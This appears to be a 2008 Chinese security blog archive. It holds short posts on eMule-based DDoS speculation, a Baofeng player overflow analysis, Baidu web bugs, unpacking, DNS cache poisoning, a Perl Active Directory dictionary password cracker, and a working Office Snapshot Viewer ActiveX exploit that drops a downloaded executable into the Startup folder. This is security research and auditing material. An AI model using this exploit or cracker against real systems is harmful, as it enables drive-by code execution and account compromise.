2008年7月22日星期二

[Tips]通过emule做DDOS是否可行?

by 云舒

2008-07-23

http://www.ph4nt0m.org

今天抽空看了下emule协议几个可能会出问题的地方,初步感觉是可能真的有问题。下了代码回来看了,不过代码太大,目前还没找到地方,没法对想法进行印证。我简单的说下,看哪位代码牛人能够在项目中找到对应的代码。

首先是在客户端连接到服务器之后,搜索文件时,服务器返回结果的报文。报文中返回的结果是一个集合,每个集合表示一条记录。但是每条记录中,并不包含拥有 该文件的客户端的IP地址,而是返回的拥有该文件的客户端的ClientID和端口。这里我猜测ClientID的计算是可逆的,搜索发起者可以根据这个 ClientID计算出IP地址,然后连接,请求下载文件。具体报文结构如下:


名称 大小(字节) 默认值 注释
协议类型 1 0xE3
大小 4
不包含报文和大小域的报文大小
类型 1 0x16 操作码 OP SEARCHRESULT 的值
结果数 4 N/A 此报文中包含的结果数目
结果列表 可变 N/A 一个结果的列表








搜索结果列表项格式:


名称 大小(字节) 默认值 注释
文件HASH 16 N/A 用于识别文件的 Hash 值
客户端 ID 4 N/A eMule服务器分配给客户端的ID
客户端端口 2 N/A 客户端的监听的TCP端口
标志数 4 N/A 其后的属性标志个数
标志列表 可变 N/A 标志列表







其次的第二个地方是下载文件的地方,客户端要求下载一个文件时,服务器会返回一个源查找结果报文。该报文也是只包含源的ClientID和端口,客户端应该是按照ClientID计算出IP地址,再去连接下载文件的。具体报文如下:


名称 大小(字节) 默认值 注释
协议类型 1 0xE3
大小 4 N/A 不包含报文头和大小域的报文大小
类型 1 0x42 操作码 OP FOUNDSOURCES 的值
文件HASH 16 N/A 相关文件的 Hash 值
源数量 1 N/A 拥有该文件的机器的数量
源列表 可变 N/A 源列表内容,每一条是一个可用源








每一条源的报文格式如下:


名称 大小(字节) 默认值 注释
客户端 ID 4 N/A 共享该文件的客户端的 ID
客户端端口 2 N/A 共享该文件的客户端端口





可以看到,搜索某个文件时,服务器返回的搜索列表中按照ClientID来区分不同的其它客户端。在开始下载一个文件时,服务器返 回的可用源列表中,每个源也是以一个ClientID来表示的。也就是说,没一个ClientID就可以确定一个源,区分开彼此。而emule可以根据这 个ClientID找到对应的客户端,去连接指定端口,请求文件。那么,现在的问题是这个ClientID是哪里来的?

原来这个ClientID在正常情况下,是我们连接到emule服务器时,服务器分配给我们的。但是注意到,在连接之后,我们可以像服务器提供我们所拥有的文件列表,报文格式如下:


名称 大小(字节) 默认值 注释
协议类型 1 0xE3
大小 4
不包含报文和大小域的报文大小
类型 1 0x15 操作码 OP SEARCHRESULT 的值
文件数 4 N/A 共享列表中的文件数,这个数不超过 200
文件列表 可变 N/A 可选的文件列表,单个项的描述见下









单个文件条目描述我就不细写了,比较有用的字段是文件Hash码,ClientID,以及端口。这样看来,我们在连接到服务器之 后,告诉它baidu的IP地址,TCP80端口,有赤壁下载,或者有XXX片下载,别人下载的时候,emule客户端会不会从服务器返回的可用源列表 中,找到这条记录,并且去连接?

关键问题到了ClientID的计算,协议中这样描述的:假设 IP 地址为 X.Y.Z.W,则客户端 ID 按公式 X+28*Y+216*Z+24*W (Big Endian[6])计算。如果想法是正确的,那么我们可以先计算出百度的IP地址的ClientID,端口设置为80,然后通知服务器,这个 ClientID有高树的片子可以看……

是不是可行?我不知道,等我找到对应的代码,可能要到过年了。


2008年7月20日星期日

[Tips]暴风影音2008Beta1 最新远程溢出 0day 分析

by dummy
http://2008-07-20
http://www.ph4nt0m.org

已近将此漏洞报给暴风.

声明:纯技术研究,禁止将本文相关代码非法用途!后果自负!

下载地址: http://dl.baofeng.com/storm3/storm2008-beta1.exe

一、漏洞分析

今天下午帮同事查找一个软件和新版本暴风兼容性的问题,发现其新增了新的模块,回来就试了一下,运气真好被我到一个远程溢出。

问题模块是暴风的视频加速程序,暴风的视频加速功能是通过设置浏览器代理实现的,这个代理服务器(HttpServer.dll)会在本机开 8089 端口监听处理请求,因为此端口绑定的地址不是localhost, 从而导致此溢出可以被远程利用。

使用 od 打开暴风安装目录下的 box/Stline.exe,这个程序记视频加速模块的主程序文件,按下 F9 让 Stline.exe 跑起来,然后打开 IE 在地址栏中输入 http://baidu.com/111...11.flv (长度必须大于1000) 回车。Od 在 stormtra.dll因为异常暂停下来,如下图:


Ebx = 堆栈的栈顶,dx 是我们输入的 1, 把堆栈窗口拉到最高处,看到堆栈中填满了我们的输入的 URL 拷贝。使用 ida 打开这个 stormtra.dll 进行上下文分析,如下图:



发生异常的函数是在 unknown_libname_98 里,而 unknown_libname_98是 _vscan_fn 的回调,通过sub_1003AE2C 参数判断这个是正则表达式 search 函数,溢出正是在这个函数里面发生,具体为什么这个 search 过程发生溢出暂时可以不用管。

然后在 od 中 shift+f8 忽略异常,接着od 再次断下,如下图,这时eip = 0x00310031, 这是因为溢出后,操作系统从堆栈取异常处理函数,但是堆栈中被填满了我们的输入。



到这里已近可以看到我们的输入成功控制了 eip,那我们离成功也更进了一步了。

二、编写 shellcode

在 od 中注意我们的输入显示的 unicode 串,以前没有搞过此类的溢出,只知道比 ascii 麻烦很多,请教了123 大牛,他给我了一个同类溢出程序的 webdav (参考四),试着改了一下,但是不打算继续放相关代码了,有兴趣自己调吧:)。

四、参考资料

Webdav 远程溢出漏洞分析http://www.xfocus.net/articles/200303/500.html

2008年7月17日星期四

[Tips]The Week of Baidu Bugs

by axis
2008-07-17
http://www.ph4nt0m.org

在过去的一个星期里,我一直在我的blog上开展一个The Week of Baidu Bugs的活动。

Baidu是中国最大的搜索引擎网站:http://www.baidu.com

现在活动已经结束了。

advisory如下:

The Week of Baidu Bugs - Day 01: 任意URL跳转漏洞

The Week of Baidu Bugs - Day 02: 多处CSRF漏洞

The Week of Baidu Bugs - Day 03: 百度空间XSIO漏洞

The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞(上)

The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞(下)

The Week of Baidu Bugs - Day 05: 百度空间多处XSS漏洞

The Week of Baidu Bugs - Day 06: 百度竞价排名多处XSS漏洞

The Week of Baidu Bugs - Day 07: 最后的献礼

The Week of Baidu Bugs - Day 07: 终章,谢幕

全部都是WEB漏洞,有兴趣的朋友可以看看。

[Tips]PECompact 2.x的脱壳点滴

by void
2008-07-17
http://www.ph4nt0m.org


遇到一个程序加的是这个壳,Dump,修复IAT,不能运行.用Ollydbg跟踪到这里:


00406E00      68 68F04200   PUSH    42F068 ; ASCII "PEC2_IsPacked"
00406E05      6A FF         PUSH    
-1
00406E07      FF15 AC504200 CALL    DWORD PTR [4250AC]
00406E0D      A3 08AF4400   MOV     DWORD PTR [44AF08],EAX



搜索"PEC2_IsPacked",找到PECompact的官方文档,原来是壳的API Hook插件在捣鬼,把MOV [44AF08],EAX改成MOV [44AF08],1.
保存修改.正常运行.

[Tips]DNS缓存中毒漏洞的一点推测

by 云舒
2008-07-15
http://www.ph4nt0m.org

今天他们在群里面说到最近的DNS缓存中毒漏洞,并且绿盟的公告中提到了一些细节性的东西,地址是http://www.nsfocus.net/vulndb/12124。因此根据公告,我稍微推测下这个漏洞的一些问题。

首先是如何攻击的推测。这个根据公告,应该能看出一些端倪。首先使用nslookup查询某个域名的权威解析服务器名称,得到其IP地址,这样就可以生成一些伪造源IP地址和DNS ID的DNS Response数据包。然后向目的DNS服务器查询目的域名,提交了查询之后,马上快速发送生成的伪造DNS Response数据包给目的服务器。让目的DNS在真实的权威DNS服务器响应到达之前,接受到恶意的应答。

但是这里有一个难点:一个大站点的域名,在攻击者请求查询的时候,基本上100%已经存在缓存了。攻击者发起DNS查询时,DNS服务器直接从缓存应答了,根本不会去请求权威域名服务器。解决这个问题,有两个办法,第一个是攻击一个生僻的域名,或者不存在的二级域名,比如说把 fuck.google.cn解析到1.2.3.4,用来钓鱼或者挂马用;第二个办法,是不停的给目的DNS服务器发送恶意的DNS Response数据包,增大碰到缓存过期需要更新数据的几率。不过这样又带来了新的问题,很可能这样的投毒,最终变成了UDP Flood了。

其次是攻击结果的推测。如果攻击一个不存在的二级域名,最终只能用来钓鱼或者挂马,但是如果能够攻击到主域名,则可以做任何事情了,比如说上海用户看到的 baidu变成了sex站点。攻击不存在的二级域名比较容易,只要知道DNS ID的可选数字就行了,一次生成足够的数据包发过去,然后就看怎么骗人访问了。想让主域名中毒,黑掉站点,那就比较难了。

看得比较随意,不知道推测的是不是对的,等等看吧。

2008年7月8日星期二

[Tips]企业内部AD脆弱密码审计

by 云舒
2008-07-09
http://www.ph4nt0m.org

这个是前段时间做的个小脚本,没什么用,审计内部AD脆弱密码的。做这样一些简单的工作,脚本语言确实挺合适的。需要一个普通的AD账号,导出账户名,过滤掉禁用的,然后开始扫描。密码字典按照自己公司的实际情况写就好了,支持%USERNAME%123这样的格式。

脚本里面的各种参数我写死了,因为自己用,不必要敲参数。如果想要用用看,自己改就是了,perl这种东西简单的学一下的话,一个上午就够了。下午不行,这种天气下午只适合睡觉,或者吃点冰绿豆汤之类的东西,反正是不适合看代码。

   1.
      
#!/usr/bin/perl
   2.
       
   
3.
      
use warnings;
   
4.
      
use strict;
   
5.
      
use Win32::OLE;
   
6.
      
use Data::Dumper;
   
7.
      
use Authen::Simple::ActiveDirectory;
   
8.
       
   
9.
      
use constant ADS_UF_ACCOUNTDISABLE => 2;
  
10.
      
use constant ADS_SCOPE_SUBTREE => 2;
  
11.
       
  
12.
      
my $server = 'bj.microsoft.com';
  
13.
      
my $domain = 'bj.microsoft.com';
  
14.
      
my %users;
  
15.
      
my @pwds;
  
16.
       
  
17.
      
select( STDOUT );
  
18.
      $
| = 1;
  
19.
       
  
20.
      
print "Loading account from ad";
  
21.
       
  
22.
      
&LoadUser( );
  
23.
       
  
24.
      
print "done!n";
  
25.
      
print scalar(keys(%users))." users loaded!n";
  
26.
       
  
27.
      
print "Loading password from dic";
  
28.
      
&LoadPwd( );
  
29.
      
print "done!n";
  
30.
       
  
31.
      
open( REPORT, ">report.txt" ) || die "create report error: $!n";
  
32.
      
select( REPORT );
  
33.
      $
| = 1;
  
34.
      
select( STDOUT );
  
35.
       
  
36.
      
foreach my $userkeys(%users) )
  
37.
      {
  
38.
          
foreach my $pwd@pwds )
  
39.
          {
  
40.
              
$pwd =~ s/%USERNAME%/$user/;
  
41.
             
  
42.
              
my $ret = &TestPwd( $user, $pwd );
  
43.
              
if$ret == 1 )
  
44.
              {
  
45.
                  
print "cracked! username=$user,password=$pwd,mail=".$users{$user}."n";
  
46.
                  
print REPORT "cracked! username=$user,password=$pwd,mail=".$users{$user}."n";
  
47.
       
  
48.
                  
last;
  
49.
              }
  
50.
              
#print "testing [$user/$pwd] n";
  51.
          }
  
52.
      }
  
53.
      
close( REPORT );
  
54.
         
  
55.
      
sub LoadUser
  
56.
      {
  
57.
          
my $objConnection = Win32::OLE->new( "ADODB.Connection" );
  
58.
          
my $objCommand = Win32::OLE->new( "ADODB.Command" );
  
59.
         
  
60.
          
# open ad
  61.
          
$objConnection -> open"Provider=ADsDSOObject;" );
  
62.
         
  
63.
          
$objCommand -> {"ActiveConnection"= $objConnection;
  
64.
         
  
65.
          
# search what and how
  66.
          
my $cmd = "select userAccountControl,distinguishedName,mail from 'GC://dc=bj,dc=microsoft,dc=com' where objectCategory='user'";
  
67.
          
$objCommand -> {"CommandText"= $cmd;
  
68.
         
  
69.
          
# import all users
  70.
          
$objCommand -> Properties -> {"Page Size"= 1000;
  
71.
          
# search all subtree
  72.
          
$objCommand -> Properties -> {"searchscope"= ADS_SCOPE_SUBTREE;
  
73.
         
  
74.
          
my $objRecordSet = Win32::OLE->new( "ADODB.Recordset" );
  
75.
          
$objRecordSet = $objCommand->Execute( ) || die "query data from active directory error,exitn";
  
76.
         
  
77.
          
while( not $objRecordSet -> eof )
  
78.
          {
  
79.
              
my $intUAC = $objRecordSet -> Fields("userAccountControl"-> value;
  
80.
             
  
81.
              
# remove diable account
  82.
              
if( not ( $intUAC & ADS_UF_ACCOUNTDISABLE ) )
  
83.
              {
  
84.
                  
my $longName = $objRecordSet -> Fields("distinguishedName"-> value;
  
85.
                  
my $mail = $objRecordSet -> Fields("mail"-> value;
  
86.
         
  
87.
                  
if( (!defined($mail)) or $mail eq "" )
  
88.
                  {
  
89.
                      
$mail = "null";
  
90.
                  }
  
91.
                  
if$longName =~ /^CN=([w.-_]+),/ )
  
92.
                  {
  
93.
                      
#print ."n";
  94.
                      
my $userName = $1;
  
95.
       
  
96.
                      
chomp$mail );
  
97.
                      
chomp$userName );
  
98.
       
  
99.
                      
$users{$userName= $mail;
 
100.
                  }
 
101.
              }
 
102.
              
$objRecordSet -> MoveNext();
 
103.
          }
 
104.
      }
 
105.
       
 
106.
      
sub LoadPwd
 
107.
      {
 
108.
          
open( FH, "<pass.txt" ) || die "Open password dict error,exit!n";
 
109.
         
 
110.
          
@pwds = <FH>;
 
111.
          
chomp@pwds );
 
112.
      }
 
113.
       
 
114.
      
sub TestPwd
 
115.
      {
 
116.
          
my $username = shift;
 
117.
          
my $password = shift;
 
118.
         
 
119.
          
my $ad = Authen::Simple::ActiveDirectory -> new( host => $server, principal => $domain ) || die "Connected error: $!";
 
120.
         
 
121.
          
if ( $ad->authenticate( $username, $password ) )
 
122.
          {
 
123.
              
return 1;
 
124.
          }
 
125.
          
else
 
126.
          {
 
127.
              
return 0;
 
128.
          }
 
129.
      }
 
130.
       

[Exploit]Microsoft Office Snapshot Viewer ActiveX Exploit

by cloie
2008-07-08
http://www.ph4nt0m.org

今天有人发了个Snapshot Viewer的ADV,结合CERT那篇dranzer.pdf,重现漏洞

EXP:

<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath 
= buf1;
obj.CompressedPath 
= buf2;
obj.PrintSnapshot();
</script>
</html>



Fuzzing时一般是对单个Property和单个Method()做FUZZ,这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的,再测试其他Property。由于此ActiveX的Property和Method都非常少,很快可以 FUZZ完